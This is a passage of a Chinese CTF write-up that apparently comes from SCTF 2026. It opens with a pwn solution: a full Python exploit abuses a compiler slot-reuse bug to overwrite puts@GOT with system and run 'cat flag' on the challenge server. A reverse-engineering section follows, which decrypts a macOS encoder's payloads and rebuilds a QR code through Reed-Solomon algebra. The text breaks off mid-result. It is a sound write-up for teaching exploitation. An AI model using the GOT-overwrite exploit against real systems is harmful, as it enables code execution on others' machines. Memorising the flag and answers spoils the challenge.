1. 伪造 vec_t
先把字符串 fake 伪造成一个 vec_t:
fake = p64(target) + p64(1)
这样运行时会认为:
v->data = targetv->size = 1
之后执行:
scribble(v, 0, delta);
就会修改 target 指向的 8 字节内容。
2. 选择覆盖目标
rt_say() 内部直接 puts(s),所以最自然的利用方式就是改 puts@GOT。
如果先让 puts 完成一次真实解析,再把 puts@GOT 改成 system,那么下一次:
say("cat flag");
实际就会变成:
system("cat flag");
因此利用顺序是:
say("resolve"):触发一次真实的puts调用,让 GOT 里落下 libc 里的puts地址。scribble(v, 0, system - puts):把puts@GOT直接加成system。say("cat flag"):等价于system("cat flag")。
3. 为什么偏移可以直接相加
远程 Docker 明确是 ubuntu:focal,libc 为 2.31,因此可直接使用:
system - puts = -0x32190
于是只要把 puts@GOT 当前保存的真实 puts 地址,加上 -0x32190,就能得到 system。
关键细节
1. 先解析再改 GOT
如果不先执行一次:
say("resolve");
那么 puts@GOT 里可能还是懒绑定状态下的桩地址,不是 libc 里的真实 puts,此时直接加偏移并不可靠。
2. 远程成功地址是 0x404018
一开始很容易把目标写成 .got.plt 起始附近的地址,比如 0x404000,但真正远程打通的位置是:
puts@GOT = 0x404018
我在工作区里留了一个可扫描相邻 GOT 槽位的脚本 exploit_remote.py,最后命中的就是 0x404018。
最终 slang payload
function main(): str fake, vec v, str cmd -> int {
say("resolve");
fake := "\x18\x40\x40\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";
do {
scribble(v, 0, -205200);
} while (0);
cmd := "cat flag";
say(cmd);
v := vec_new(1);
return 0;
}
END_OF_SOURCE
其中:
0x404018是远程上的puts@GOT-205200即-0x32190
最终 exploit
import socket
import ssl
HOST = "pwn-78686c7251.adworld.xctf.org.cn"
PORT = 9999
PUTS_GOT = 0x404018
DELTA = -0x32190
def esc(data: bytes) -> str:
return "".join(f"\\x{b:02x}" for b in data)
fake_vec = PUTS_GOT.to_bytes(8, "little") + (1).to_bytes(8, "little")
src = f"""function main(): str fake, vec v, str cmd -> int {{
say("resolve");
fake := "{esc(fake_vec)}";
do {{
scribble(v, 0, {DELTA});
}} while (0);
cmd := "cat flag";
say(cmd);
v := vec_new(1);
return 0;
}}
END_OF_SOURCE
"""
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT), timeout=10) as raw:
with ctx.wrap_socket(raw, server_hostname=HOST) as s:
s.recv(4096)
s.sendall(src.encode())
while True:
data = s.recv(4096)
if not data:
break
print(data.decode(errors="replace"), end="")
利用链总结
整条链很短:
do-while里的void调用触发编译器活跃变量分析错误。str fake与vec v复用同一个底层slot。- 用字符串伪造
vec_t,把scribble(v, 0, delta)变成任意地址加法写。 - 先解析
puts,再把puts@GOT改成system。 say("cat flag")实际执行system("cat flag"),拿到 flag。
Flag
flag{vlcOjvErIxC0Ih7PenFXbcQmFWpfrbjc}
RE
Alice
这题表面上给了一个 macOS .app,实际上是一个图片编码器
输入:
648 x 648 RGB 图片
然后输出
- mask.png
- blocks.bin
- features.bin
题目包里已经给了这三个输出文件,所以逆向目标就是
编码后文件 -> 反推出原图 -> 原图是二维码 -> 解出二维码 payload
解包:
tar -xf C:\Users\jianr\Desktop\SCTF2026\Alice.zip -C .
得到这些文件:
Alice/
Alice.app/
Contents/
MacOS/Alice
Frameworks/libalice_stage0.dylib
Resources/core.dat
Resources/alice.dat
mask.png
blocks.bin
features.bin
Alice是 macOS 程序
用 Python 模拟一下 strings,搜主程序中的可见字符串
from pathlib import Path
import re
data = Path("Alice/Alice.app/Contents/MacOS/Alice").read_bytes()
for s in re.findall(rb"[ -~]{4,}", data):
text = s.decode("ascii", errors="ignore")
if any(k in text for k in ["Usage", "input", "mask", "blocks", "features", "Invalid", ".png", ".bin"]):
print(text)
输出:
Usage: %s input.png out_dir
Invalid input dimensions: expected 648x648
mask.png
blocks.bin
features.bin
这里告诉我们主程序不是 flag checker,而是 encoder
题目逻辑:
输入图片 -> 程序编码 -> 题目给输出
我们要做的是反编码
主程序
主程序加载链:
Alice -> stage0 -> core.dat -> alice.dat
使用ida分析主程序

可以了解到:
- 读取
Alice.app/Contents/Frameworks/libalice_stage0.dylib dlopen加载dlsym找_a7- 调
_a7
_a7 :
- 读取
Resources/core.dat - 逐字节解密
- 临时写出一个 Mach-O dylib
dlopendlsym找_b9- 调
_b9
_b9 :
- 读取
Resources/alice.dat - 解密出一个 32768 字节执行块
- 通过自修改和 VM 做真正编码
开始解密core.dat
打开libalice_stage0.dylib,找到 _a7
可以看到一段循环:
state = 0x414c4943;
for (i = 0; i < size; i++) {
state = (state * 0x111d + 0x186a3) % 120000;
out[i] = in[i]
^ ((0x26 + 0x11 * i) & 0xff)
^ ((i >> 3) & 0xff)
^ (state & 0xff);
}
state = state * A + B是 LCG 风格伪随机数。- 每轮只处理一个字节。
- 输出是多个东西 XOR 输入字节
exp
from pathlib import Path
ROOT = Path("Alice")
RES = ROOT / "Alice.app/Contents/Resources"
def decrypt_core(data: bytes) -> bytes:
state = 0x414c4943
out = bytearray(len(data))
for i, c in enumerate(data):
state = (state * 0x111d + 0x186a3) % 120000
out[i] = (
c
^ ((0x26 + 0x11 * i) & 0xff)
^ ((i >> 3) & 0xff)
^ (state & 0xff)
)
return bytes(out)
core_enc = (RES / "core.dat").read_bytes()
core = decrypt_core(core_enc)
Path("core.dylib").write_bytes(core)
print("core size:", len(core))
print("core magic:", core[:4].hex(" "))
然后可以发现又是 Mach-O 小端魔数,说明 core.dat 被正确解成了一个 dylib
开始解密alice.dat
打开刚刚解出的core.dylib,找_b9
也可以看到一段循环:
state = 0x32564d41;
for (i = 0; i < size; i++) {
state = (state * 0x111d + 0x186a3) % 120000;
out[i] = in[i]
^ ((0x5a + 0x1f * i) & 0xff)
^ ((i >> 5) & 0xff)
^ (state & 0xff);
}
exp
from pathlib import Path
ROOT = Path("Alice")
RES = ROOT / "Alice.app/Contents/Resources"
def decrypt_core(data: bytes) -> bytes:
state = 0x414c4943
out = bytearray(len(data))
for i, c in enumerate(data):
state = (state * 0x111d + 0x186a3) % 120000
out[i] = (
c
^ ((0x26 + 0x11 * i) & 0xff)
^ ((i >> 3) & 0xff)
^ (state & 0xff)
)
return bytes(out)
def decrypt_alice_stage1(data: bytes) -> bytes:
state = 0x32564d41
out = bytearray(len(data))
for i, c in enumerate(data):
state = (state * 0x111d + 0x186a3) % 120000
out[i] = (
c
^ ((0x5a + 0x1f * i) & 0xff)
^ ((i >> 5) & 0xff)
^ (state & 0xff)
)
return bytes(out)
core = decrypt_core((RES / "core.dat").read_bytes())
Path("core.dylib").write_bytes(core)
stage1 = decrypt_alice_stage1((RES / "alice.dat").read_bytes())
Path("alice.stage1").write_bytes(stage1)
print("core magic:", core[:4].hex(" "))
print("stage1 size:", len(stage1))
print("stage1[0x10:0x14]:", stage1[0x10:0x14].hex(" "))
print("patch count:", int.from_bytes(stage1[0x18:0x1c], "little"))
print("patch table:", hex(int.from_bytes(stage1[0x1c:0x20], "little")))
结果:
core magic: cf fa ed fe
stage1 size: 32768
stage1[0x10:0x14]: a6 1a d4 0b
patch count: 389
patch table: 0x7000
得到
alice.dat 第一层明文 = alice.stage1
+0x18 = 389 自修改补丁记录数量
+0x1c = 0x7000 补丁表偏移
stage1 自修改
alice.stage1 + 0x7000 开始有 389 条记录,每条 6 字节。
每条记录解出来包含:
trigger: 触发编号
target : 要修改 stage1 哪个偏移
value : 写入的字节
程序运行时 VM 里有一个 trap 指令,大概效果:
设置当前 trigger
raise(SIGTRAP)
信号处理器收到 SIGTRAP 后,根据 trigger 找补丁记录,把指定字节写回 stage1。
这就是典型“动态修代码”
右半区图像确实走 VM,完整逆会比较长。
但左上 TL 和左下 BL 的编码公式能静态恢复出来,而这两块已经给了二维码左半边。
二维码左半边刚好包含:
Version 5 / M 的全部 48 个 Reed-Solomon 校验字节
所以后续可以用 RS 校验反推 payload。
换句话说:
完整逆 VM 是一条路
利用 QR 纠错结构绕过 VM 是更短的路
观察 mask.png
读图统计:
from pathlib import Path
import numpy as np
from PIL import Image
mask = np.array(Image.open("Alice/mask.png").convert("RGB"), dtype=np.uint8)
print(mask.shape, mask.dtype)
print("min/max:", mask.min(), mask.max())
print("nonzero scalar count:", int((mask != 0).sum()))
selected = np.zeros((16, 16, 3), dtype=bool)
for yy in range(16):
for xx in range(16):
for ch in range(3):
sub = mask[yy::16, xx::16, ch]
selected[yy, xx, ch] = (sub != 0).sum() > 1000
print("selected slots:", int(selected.sum()))
for yy in range(16):
print(
"yy", yy,
"total", int(selected[yy].sum()),
"per_channel", [int(selected[yy, :, ch].sum()) for ch in range(3)],
"x_union", int(np.any(selected[yy], axis=1).sum()),
)
输出:
(648, 648, 3) uint8
min/max: 0 255
selected slots: 144
yy 0 total 36 per_channel [12, 12, 12] x_union 16
yy 1 total 24 per_channel [8, 8, 8] x_union 16
yy 2 total 24 per_channel [8, 8, 8] x_union 16
...
- 输出像素是否保留,只和 (y mod 16, x mod 16, channel) 有关。
- 共有 16 * 16 * 3 = 768个槽位。
- 其中 144 个槽位被选择。
- 被选择的位置上,
mask.png的像素值就是编码后的输出值
所以得出结论
没观测的位置 = 0
观测的位置 = 编码输出值
图像分块
主程序把输入图拆成三块:
TL: top-left 左上 324 x 324 x 3
BL: bottom-left 左下 324 x 324 x 3
R : right 右半 324 x 648 x 3
坐标关系:
TL: global y = 0..323, x = 0..323
BL: global y = 324..647, x = 0..323
R : global y = 0..647, x = 324..647
左上 TL 是矩阵乘法。
左下 BL 是一个代换表 + 索引混淆。
右半 R 是 VM。
我们只恢复 TL 和 BL
恢复左上 TL:模 256 上三角矩阵
矩阵构造:

主程序里能看到明文常量:
SYC2026
它用于生成 324x324 的矩阵

先生成原始字节矩阵 R:
R.flat[k] = b“SYC2026"[k % 7] ^ (k & 0xff)
然后生成上三角矩阵 M:
for r in range(324):
for c in range(r, 324):
if c == r:
M[r, c] = R.flat[r * 325] | 1
else:
v = R[r, c]
if ((r + 7 * c + v) & 7) == 0:
M[r, c] = v
注意:
M[c, c] = 某个字节 | 1
所以对角线全是奇数。
在模 256 下,一个数有逆元的条件是它和 256 互素,也就是奇数。
所以这个上三角系统可以回代求解
TL 正向编码
每个颜色通道独立:
Y = X M mod 256
逐元素写成:
Y[y, c] = sum(X[y, i] * M[i, c], i=0..c) mod 256
因为 M 是上三角,Y[y, c] 只依赖:
X[y, 0], X[y, 1], ..., X[y, c]
所以如果知道整行 Y[y, 0..323],就能从左到右恢复整行 X[y, 0..323]
RGB 通道可以合并
从 mask.png 选择表看,y mod 16 = 0,1,2 的行,虽然单个 channel 不一定覆盖全部 x,但三个 channel 合并后覆盖全部 x
为什么能合并?
因为恢复出来的原图是二维码,RGB 三个通道相同。
更严格地说:我们先尝试按这个假设合并,解出来的 X 只有 0 和 255,再把它正向乘回去,所有已观测 TL 像素错误数是 0,这就反证了假设成立
TL 恢复脚本
from pathlib import Path
import numpy as np
from PIL import Image
mask = np.array(Image.open("Alice/mask.png").convert("RGB"), dtype=np.uint8)
def get_selected(mask):
selected = np.zeros((16, 16, 3), dtype=bool)
for yy in range(16):
for xx in range(16):
for ch in range(3):
sub = mask[yy::16, xx::16, ch]
selected[yy, xx, ch] = (sub != 0).sum() > 1000
return selected
def build_M():
seed = b"SYC2026"
R = np.fromiter(
(seed[k % 7] ^ (k & 0xff) for k in range(324 * 324)),
dtype=np.uint8,
).reshape(324, 324)
M = np.zeros((324, 324), dtype=np.uint8)
flat = R.ravel()
for r in range(324):
for c in range(r, 324):
if c == r:
M[r, c] = int(flat[r * 325]) | 1
else:
v = int(R[r, c])
if ((r + 7 * c + v) & 7) == 0:
M[r, c] = v
return M
def build_inv_mod256():
inv = [0] * 256
for a in range(1, 256, 2):
for x in range(1, 256, 2):
if (a * x) & 0xff == 1:
inv[a] = x
break
return inv
def solve_tl_row(Yrow, M, inv):
X = np.zeros(324, dtype=np.uint8)
for c in range(324):
s = 0
for i in range(c):
s += int(X[i]) * int(M[i, c])
X[c] = ((int(Yrow[c]) - s) * inv[int(M[c, c])]) & 0xff
return X
selected = get_selected(mask)
M = build_M()
inv = build_inv_mod256()
complete_row_mods = []
for yy in range(16):
ok = True
for xx in range(16):
if not any(selected[yy, xx, ch] for ch in range(3)):
ok = False
break
if ok:
complete_row_mods.append(yy)
print("complete row mods:", complete_row_mods)
known_pixels = []
for y in range(324):
if y % 16 not in complete_row_mods:
continue
Yrow = np.zeros(324, dtype=np.uint8)
for x in range(324):
vals = [
int(mask[y, x, ch])
for ch in range(3)
if selected[y % 16, x % 16, ch]
]
if not vals:
raise RuntimeError(f"missing observed TL output at y={y}, x={x}")
if len(set(vals)) != 1:
raise RuntimeError(f"RGB channel mismatch at y={y}, x={x}: {vals}")
Yrow[x] = vals[0]
Xrow = solve_tl_row(Yrow, M, inv)
for x, v in enumerate(Xrow):
known_pixels.append((y, x, int(v)))
vals = sorted(set(v for _, _, v in known_pixels))
print("TL recovered pixel values:", vals)
print("TL known pixel count:", len(known_pixels))
得到:
complete row mods: [0, 1, 2]
TL recovered pixel values: [0, 255]
TL known pixel count: 20412
只有0x00和0xFF可以知道只有黑白,大概是二维码
从像素映射到 QR 模块
原图是 648x648,而二维码网格是 39x39。
每个模块大小:
648 / 39 = 16.615…
不是整数,所以不能简单每 16 像素切一格。
正确映射:
module_row = y * 39 // 648
module_col = x * 39 // 648
在 TL 区域:
y = 0..323 -> module row 0..19
x = 0..323 -> module col 0..19
也就是左上恢复 20x20 个 QR 模块。
继续在 05_recover_left.py 后面加:
grid = np.full((39, 39), -1, dtype=np.int8)
votes = [[[] for _ in range(39)] for __ in range(39)]
for y, x, pix in known_pixels:
mr = y * 39 // 648
mc = x * 39 // 648
bit = 1 if pix < 128 else 0 # QR 里黑=1,白=0
votes[mr][mc].append(bit)
for r in range(39):
for c in range(39):
if votes[r][c]:
s = sum(votes[r][c])
grid[r, c] = 1 if s * 2 >= len(votes[r][c]) else 0
print("known modules after TL:", int((grid >= 0).sum()))
结果:
known modules after TL: 400
恢复出来别急着信,要正向验证。
把 20x20 模块重新展开成 TL 原图,再乘矩阵,和 mask.png 的已观测 TL 像素比较
追加:
Xtl = np.zeros((324, 324, 3), dtype=np.uint8)
for y in range(324):
mr = y * 39 // 648
for x in range(324):
mc = x * 39 // 648
bit = grid[mr, mc]
if bit < 0:
raise RuntimeError(f"unknown TL module {(mr, mc)}")
Xtl[y, x, :] = 0 if bit == 1 else 255
Ytl = np.zeros_like(Xtl)
M32 = M.astype(np.uint32)
for ch in range(3):
Ytl[:, :, ch] = (Xtl[:, :, ch].astype(np.uint32) @ M32 % 256).astype(np.uint8)
err = 0
total = 0
for y in range(324):
for x in range(324):
for ch in range(3):
if selected[y % 16, x % 16, ch]:
total += 1
if int(Ytl[y, x, ch]) != int(mask[y, x, ch]):
err += 1
print("TL verify:", err, "/", total)
得到
TL verify: 0 / 60021
恢复左下 BL:枚举黑白像素
左下编码公式
左下比 TL 绕一些。程序生成一个 324x324 的代换表 S。
每一列来自 0..255 的 Fisher-Yates 洗牌:
state = 1234
for col in range(324):
perm = list(range(256))
for i in range(255, 0, -1):
state = (state * 4381 + 100003) % 120000
j = state % (i + 1)
perm[i], perm[j] = perm[j], perm[i]
for row in range(324):
S[row, col] = perm[row & 255]
然后对左下局部坐标:
y = 0..323
x = 0..323
ch = 0..2
计算:
p = 31 * ch + 17 * y + 5 * x
q = 23 * ch + 11 * y + 7 * x
t = (p + a) * 324 + b * 325
t -= ((q + b) // 324) * 324
t -= ((p + b) // 69) * (69 * 324)
idx = q + t
out = S[idx // 324, idx % 324]
其中:
a = 左下原图像素,未知,但我们已经知道只可能是 0 或 255
b = 同位置的 TL 变换输出 Ytl[y, x, ch],已知
这里的 //324 和 //69 在反编译里通常不是直接除法,而是魔数乘法。
可以看到:
((x * 0xca4587e7) >> 40) == x // 324
((x * 0x76b981db) >> 37) == x // 69
0x5754 = 69 * 324
手搓时不用保留魔数,直接写 Python 整除最清楚
写 BL 恢复脚本
def build_S():
S = np.zeros((324, 324), dtype=np.uint8)
state = 1234
for col in range(324):
perm = list(range(256))
for i in range(255, 0, -1):
state = (state * 4381 + 100003) % 120000
j = state % (i + 1)
perm[i], perm[j] = perm[j], perm[i]
for row in range(324):
S[row, col] = perm[row & 255]
return S
def encode_bl_pixel(a, b, y, x, ch, S):
p = 31 * ch + 17 * y + 5 * x
q = 23 * ch + 11 * y + 7 * x
t = (p + a) * 324 + b * 325
t -= ((q + b) // 324) * 324
t -= ((p + b) // 69) * (69 * 324)
idx = q + t
return int(S[idx // 324, idx % 324])
S = build_S()
bl_votes = [[[] for _ in range(39)] for __ in range(39)]
obs = 0
unique = 0
none = 0
both = 0
for gy in range(324, 648):
y = gy - 324 # BL local y
for x in range(324):
for ch in range(3):
if not selected[gy % 16, x % 16, ch]:
continue
obs += 1
target = int(mask[gy, x, ch])
b = int(Ytl[y, x, ch])
cand = []
for a in (0, 255):
if encode_bl_pixel(a, b, y, x, ch, S) == target:
cand.append(a)
if len(cand) == 1:
unique += 1
mr = gy * 39 // 648
mc = x * 39 // 648
bit = 1 if cand[0] < 128 else 0
bl_votes[mr][mc].append(bit)
elif len(cand) == 0:
none += 1
else:
both += 1
print("BL obs/unique/none/both:", obs, unique, none, both)
conflict = 0
for r in range(39):
for c in range(39):
if not bl_votes[r][c]:
continue
s = sum(bl_votes[r][c])
bit = 1 if s * 2 >= len(bl_votes[r][c]) else 0
if grid[r, c] >= 0 and grid[r, c] != bit:
conflict += 1
grid[r, c] = bit
print("known modules after BL:", int((grid >= 0).sum()))
print("TL/BL conflicts:", conflict)
print("known count per QR row:", [int((grid[r] >= 0).sum()) for r in range(39)])
得到:
BL obs/unique/none/both: 58806 58806 0 0
known modules after BL: 780
TL/BL conflicts: 0
known count per QR row: [20, 20, 20, ..., 20]
打印左半二维码看看
exp:
def dump_grid(grid):
for r in range(39):
line = ""
for c in range(39):
if grid[r, c] < 0:
line += "?"
elif grid[r, c] == 1:
line += "##"
else:
line += " "
print(line)
dump_grid(grid)
识别二维码版本和格式信息
原图是 648x648。
恢复出来的模块网格按比例是:
39 x 39
二维码标准里,正式 QR 矩阵大小是:
21 + 4 * (version - 1)
但这里的 39x39 包含一圈白边。
裁掉边框:
39 - 2 = 37
所以:
21 + 4 * (version - 1) = 37
version = 5
因此:
QR Version 5
后面我们使用内部 QR 矩阵:
n = 37
内部坐标 r,c = 0..36
外部 grid 坐标 = r+1, c+1
格式信息
QR 的 format information 含:
2 bit error correction level
3 bit mask pattern
10 bit BCH 校验
总共 15 bit,并且会 XOR 一个固定 mask:
0x5412
左半边包含完整的一份 format information。
手动识别可以偷懒:把 32 种可能的 format code 全生成出来,然后和已恢复的 15 bit 比汉明距离,距离最小的就是答案。
最终唯一匹配:
format word = 0x45f9
error correction = M
mask pattern = 4
这里直接给结论是可以接受的,因为后面 codeword 和 RS 校验会再次验证
构造 QR 功能模块表
要按二维码标准读数据,必须跳过功能模块
finder patterns
separators
timing patterns
alignment pattern
format information
dark module
Version 5 的内部尺寸:
n = 37
alignment pattern 中心:
30, 30
写代码:
def qr_function_modules_v5():
n = 37
func = np.zeros((n, n), dtype=bool)
def mark_rect(r0, r1, c0, c1):
for r in range(max(0, r0), min(n, r1 + 1)):
for c in range(max(0, c0), min(n, c1 + 1)):
func[r, c] = True
# finder + separator,三个角
for fr, fc in [(0, 0), (0, n - 7), (n - 7, 0)]:
mark_rect(fr - 1, fr + 7, fc - 1, fc + 7)
# timing
func[6, :] = True
func[:, 6] = True
# alignment pattern, Version 5 center = 30
mark_rect(28, 32, 28, 32)
# format around top-left
for c in range(0, 9):
if c != 6:
func[8, c] = True
for r in range(0, 9):
if r != 6:
func[r, 8] = True
# format copies
for c in range(n - 8, n):
func[8, c] = True
for r in range(n - 7, n):
func[r, 8] = True
# dark module: row = 4 * version + 9, col = 8
func[4 * 5 + 9, 8] = True
return func
自检:
func = qr_function_modules_v5()
data_count = 37 * 37 - int(func.sum())
print(data_count)
Version 5 的数据模块数应为:
1079
注意:
1079 = 134 * 8 + 7
也就是说
134 个 codeword
7 个 remainder bits
按 QR 蛇形顺序读取 codeword
QR 数据位读取顺序:
- 从右下角开始
- 每次读两列
- 在两列内上下蛇形
- 遇到第 6 列 timing column 要跳过
- 跳过功能模块
代码:
def qr_data_coords_v5():
n = 37
func = qr_function_modules_v5()
coords = []
col = n - 1
upward = True
while col > 0:
if col == 6:
col -= 1
rows = range(n - 1, -1, -1) if upward else range(n)
for r in rows:
for c in (col, col - 1):
if not func[r, c]:
coords.append((r, c))
upward = not upward
col -= 2
return coords
coords = qr_data_coords_v5()
print(len(coords)) # 1079
Mask pattern 4 的公式是:
((row // 2) + (col // 3)) % 2 == 0
读取已知 codeword:
def mask_pattern_4(r, c):
return ((r // 2) + (c // 3)) % 2 == 0
bits = []
known = []
for r, c in coords[:134 * 8]:
# grid 是 39x39,内部 QR 坐标要 +1
gr = r + 1
gc = c + 1
if grid[gr, gc] >= 0:
bit = int(grid[gr, gc])
if mask_pattern_4(r, c):
bit ^= 1
bits.append(bit)
known.append(True)
else:
bits.append(0)
known.append(False)
codewords = [None] * 134
for i in range(134):
ks = known[i * 8 : (i + 1) * 8]
if all(ks):
v = 0
for b in bits[i * 8 : (i + 1) * 8]:
v = (v << 1) | b
codewords[i] = v
known_idx = [i for i, v in enumerate(codewords) if v is not None]
print("known codeword count:", len(known_idx))
print("first/last known:", known_idx[:5], known_idx[-5:])
得到:
known codeword count: 64
first/last known: [70, 71, 72, 73, 74] [129, 130, 131, 132, 133]
也就是说,左半边刚好给了连续:
codeword 70..133
共 64 字节
QR Version 5/M 的 block 结构
查 QR 标准表:
Version 5
Error correction M
Total codewords = 134
Data codewords = 86
EC codewords = 48
RS blocks = 2
Per block = 67 total / 43 data / 24 EC
交织方式:
先交织 data:
block0 data[0], block1 data[0],
block0 data[1], block1 data[1],
...
block0 data[42], block1 data[42]
再交织 EC:
block0 ec[0], block1 ec[0],
block0 ec[1], block1 ec[1],
...
block0 ec[23], block1 ec[23]
反交织代码:
def deinterleave_v5_m(codewords):
blocks = [[None] * 67 for _ in range(2)]
pos = 0
for i in range(43):
for b in range(2):
blocks[b][i] = codewords[pos]
pos += 1
for i in range(24):
for b in range(2):
blocks[b][43 + i] = codewords[pos]
pos += 1
return blocks
blocks = deinterleave_v5_m(codewords)
for b in range(2):
known_pos = [i for i, v in enumerate(blocks[b]) if v is not None]
print("block", b)
print(" known count:", len(known_pos))
print(" known data tail:", known_pos[:8])
print(" data[35:43]:", blocks[b][35:43])
print(" ec:", blocks[b][43:67])
期望:
block 0
data[35:43]: [236, 17, 236, 17, 236, 17, 236, 17]
ec: [79, 249, 178, 62, 36, 172, 181, 152, 105, 189, 203, 175, 171, 204, 31, 170, 110, 1, 46, 196, 88, 206, 253, 97]
block 1
data[35:43]: [17, 236, 17, 236, 17, 236, 17, 236]
ec: [100, 144, 245, 154, 80, 244, 14, 180, 209, 219, 190, 230, 24, 233, 32, 148, 61, 148, 168, 178, 1, 220, 94, 179]
这说明:
- 每个 block 的最后 8 个 data 字节已知。
- 每个 block 的全部 24 个 EC 字节已知。
- data 尾部是
ec 11 ec 11 ...的 QR padding。
因此消息长度不会太长
QR byte mode 数据布局
flag 是普通 ASCII 字符串,因此 QR 使用 byte mode。
Version 1..9 的 byte mode:
mode indicator: 4 bits = 0100
length field : 8 bits
payload : 8 * L bits
terminator : up to 4 bits
padding : 0 bits 到字节对齐
pad codeword : ec 11 ec 11 ...
如果 payload 长度是 L,payload bytes 是:
m[0], m[1], …, m[L-1]
前面的 bit 拼成 data codeword,刚好可以写成:
def qr_byte_data(flag: bytes, total=86):
L = len(flag)
d = bytearray()
d.append(0x40 | (L >> 4))
d.append(((L & 0xf) << 4) | (flag[0] >> 4))
for i in range(1, L):
d.append(((flag[i - 1] & 0xf) << 4) | (flag[i] >> 4))
d.append((flag[-1] & 0xf) << 4)
pads = [0xec, 0x11]
k = 0
while len(d) < total:
d.append(pads[k & 1])
k += 1
return bytes(d)
为什么长度可以限制到奇数 7..33
因为我们已经知道 block data 的尾部是交替 padding:
block0 data[35:43] = ec 11 ec 11 ec 11 ec 11
block1 data[35:43] = 11 ec 11 ec 11 ec 11 ec
合并回总 data codewords 后,说明从某个位置开始已经全是:
ec 11 ec 11 …
Byte mode 头部长度是:
2 + L 个左右的 codeword
因此 payload 不可能超过 33 左右。
同时 flag 格式至少:
SCTF{}
所以枚举:
L = 7, 9, 11, …, 33
就足够
Reed-Solomon 校验方程
QR 的 Reed-Solomon 使用 GF(256),本原多项式:
0x11d = x^8 + x^4 + x^3 + x^2 + 1
每个 block:
67 total codewords
43 data codewords
24 EC codewords
一个合法 block 的 syndrome 全为 0:
S_j = sum(c_i * alpha^(j * (66 - i))) = 0
j = 0..23
两个 block 一共:
48 个 GF(256) 方程
48 * 8 = 384 个 GF(2) 位方程
关键点:
GF(256) 加法是 XOR
GF(256) 乘以常数,对输入 bit 来说是 GF(2) 线性变换
所以我们不用手推矩阵。
可以这样构造线性系统:
1. 假设长度 L。
2. 固定 flag 前缀 SCTF{ 和后缀 }。
3. 中间未知字节的每一 bit 都设成变量。
4. 先算全 0 变量时的 syndrome bits,作为常量项。
5. 每次只翻转一个变量 bit,再算 syndrome bits。
6. 差值就是这个变量对每个方程的贡献。
7. 做 GF(2) 高斯消元。
完整 RS 逆向脚本
把已知 EC 字节写进去
exp
B0_EC = [
79, 249, 178, 62, 36, 172, 181, 152,
105, 189, 203, 175, 171, 204, 31, 170,
110, 1, 46, 196, 88, 206, 253, 97,
]
B1_EC = [
100, 144, 245, 154, 80, 244, 14, 180,
209, 219, 190, 230, 24, 233, 32, 148,
61, 148, 168, 178, 1, 220, 94, 179,
]
PRIM = 0x11d
EXP = [0] * 512
LOG = [0] * 256
x = 1
for i in range(255):
EXP[i] = x
LOG[x] = i
x <<= 1
if x & 0x100:
x ^= PRIM
for i in range(255, 512):
EXP[i] = EXP[i - 255]
def gf_mul(a, b):
if a == 0 or b == 0:
return 0
return EXP[LOG[a] + LOG[b]]
def syndrome(block):
out = []
for j in range(24):
s = 0
for i, c in enumerate(block):
if c:
s ^= gf_mul(c, EXP[(j * (66 - i)) % 255])
out.append(s)
return out
def bytes_to_bits(bs):
bits = []
for b in bs:
for k in range(8):
bits.append((b >> k) & 1)
return bits
def qr_byte_data(flag: bytes, total=86):
L = len(flag)
d = bytearray()
d.append(0x40 | (L >> 4))
d.append(((L & 0xf) << 4) | (flag[0] >> 4))
for i in range(1, L):
d.append(((flag[i - 1] & 0xf) << 4) | (flag[i] >> 4))
d.append((flag[-1] & 0xf) << 4)
pads = [0xec, 0x11]
k = 0
while len(d) < total:
d.append(pads[k & 1])
k += 1
return bytes(d)
def blocks_from_flag(flag: bytes):
data = qr_byte_data(flag)
block0 = list(data[:43]) + B0_EC
block1 = list(data[43:86]) + B1_EC
return block0, block1
def syndrome_bits_for_flag(flag: bytes):
b0, b1 = blocks_from_flag(flag)
syn = syndrome(b0) + syndrome(b1)
return bytes_to_bits(syn)
再写 GF(2) 高斯消元:
def solve_binary_linear_system(rows, nvars):
"""
rows: 每行是一个整数,低 nvars 位是系数,第 nvars 位是常量项。
返回:
(solution, rank, status)
"""
rows = rows[:]
pivots = []
r = 0
for col in range(nvars):
pivot = None
for i in range(r, len(rows)):
if (rows[i] >> col) & 1:
pivot = i
break
if pivot is None:
continue
rows[r], rows[pivot] = rows[pivot], rows[r]
for i in range(len(rows)):
if i != r and ((rows[i] >> col) & 1):
rows[i] ^= rows[r]
pivots.append(col)
r += 1
# 检查 0 = 1
mask = (1 << nvars) - 1
for row in rows[r:]:
if (row & mask) == 0 and ((row >> nvars) & 1):
return None, len(pivots), "inconsistent"
# 自由变量先设 0,得到一个特解
sol = 0
for i, col in enumerate(pivots):
if (rows[i] >> nvars) & 1:
sol |= 1 << col
return sol, len(pivots), "ok"
最后枚举长度:
def solve_for_length(L):
base = bytearray(b"\x00" * L)
prefix = b"SCTF{"
base[:len(prefix)] = prefix
base[-1] = ord("}")
variables = []
for pos in range(len(prefix), L - 1):
for bit in range(8):
variables.append((pos, bit))
base_syn = syndrome_bits_for_flag(bytes(base))
columns = []
for pos, bit in variables:
trial = bytearray(base)
trial[pos] ^= 1 << bit
trial_syn = syndrome_bits_for_flag(bytes(trial))
columns.append([a ^ b for a, b in zip(trial_syn, base_syn)])
rows = []
for eq in range(len(base_syn)):
row = 0
for ci, col in enumerate(columns):
if col[eq]:
row |= 1 << ci
if base_syn[eq]:
row |= 1 << len(variables)
rows.append(row)
sol, rank, status = solve_binary_linear_system(rows, len(variables))
print(f"L={L:2d}, vars={len(variables):3d}, rank={rank:3d}, {status}")
if status != "ok":
return
flag = bytearray(base)
for ci, (pos, bit) in enumerate(variables):
if (sol >> ci) & 1:
flag[pos] |= 1 << bit
printable = all(32 <= c < 127 for c in flag)
b0, b1 = blocks_from_flag(bytes(flag))
ok = all(x == 0 for x in syndrome(b0) + syndrome(b1))
print(" candidate:", flag)
print(" printable:", printable, "syndrome_zero:", ok)
for L in range(7, 34, 2):
solve_for_length(L)
结果:
L= 7, vars= 8, rank= 8, inconsistent
L= 9, vars= 24, rank= 24, inconsistent
L=11, vars= 40, rank= 40, inconsistent
L=13, vars= 56, rank= 56, inconsistent
L=15, vars= 72, rank= 72, inconsistent
L=17, vars= 88, rank= 88, inconsistent
L=19, vars=104, rank=104, inconsistent
L=21, vars=120, rank=120, inconsistent
L=23, vars=136, rank=136, inconsistent
L=25, vars=152, rank=152, inconsistent
L=27, vars=168, rank=168, inconsistent
L=29, vars=184, rank=184, ok
